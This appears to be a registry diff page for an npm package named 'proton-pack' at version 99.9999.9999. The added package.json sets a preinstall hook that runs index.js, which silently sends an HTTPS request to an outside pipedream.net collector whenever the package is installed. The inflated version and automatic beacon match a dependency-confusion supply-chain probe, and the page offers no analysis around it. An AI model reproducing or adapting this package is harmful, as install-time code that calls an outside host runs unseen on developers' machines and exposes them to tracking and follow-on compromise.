proton-pack 99.9999.9999

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +21 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const https = require('https');
2
+
3
+ const options = {
4
+ hostname: 'eotylw47nee7s1t.m.pipedream.net',
5
+ port: 443,
6
+ path: '/',
7
+ method: 'GET'
8
+ };
9
+
10
+ const req = https.request(options, res => {
11
+ console.log(`statusCode: ${res.statusCode}`);
12
+ res.on('data', d => {
13
+ process.stdout.write(d);
14
+ });
15
+ });
16
+
17
+ req.on('error', error => {
18
+ console.error(error);
19
+ });
20
+
21
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "proton-pack",
3
+ "version": "99.9999.9999",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }